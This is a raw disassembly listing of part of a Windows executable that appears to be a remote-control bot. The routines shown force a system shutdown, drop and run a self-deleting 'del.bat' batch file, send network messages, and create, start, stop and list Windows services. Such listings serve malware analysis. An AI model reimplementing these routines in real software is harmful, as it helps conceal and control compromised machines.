		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27D0000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27C08B6h
		push	esi
		call	ebx


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEB4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB044, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26E08D2h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26D0000h
		push	edi
		call	near ptr 2640871h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D128
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 267047Ch
		push	eax
		nop
		call	near ptr 2650000h
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 26703ADh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26702CFh


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 27E0000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2640AE7h


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26B05ADh
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAEF4
		push	edi
		push	eax
		call	dword_4CAF04
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_438984


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_43895C
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43892C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26B05ADh
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 2690000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 2690337h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27604B1h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 2670B87h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389A8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389A4[esi]
		push	offset unk_438AB8


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DAFF0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438A8C
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DAFF0
		push	off_4389A0[eax*4]
		push	offset unk_438A68
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF68
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2660D84h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE50
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2660D84h
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEBC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE58
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEC0


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2660D84h
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE6C


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE6C
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA930
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA930
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA930
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF68
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF34
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2660D84h
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE6C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A0[eax*4]
		push	offset unk_43904C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A4[eax*4]
		push	offset dword_439030
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DABEC
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_43900C
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DADEC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DADEC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DAB8C, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DAB8C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DAB8C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE68
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
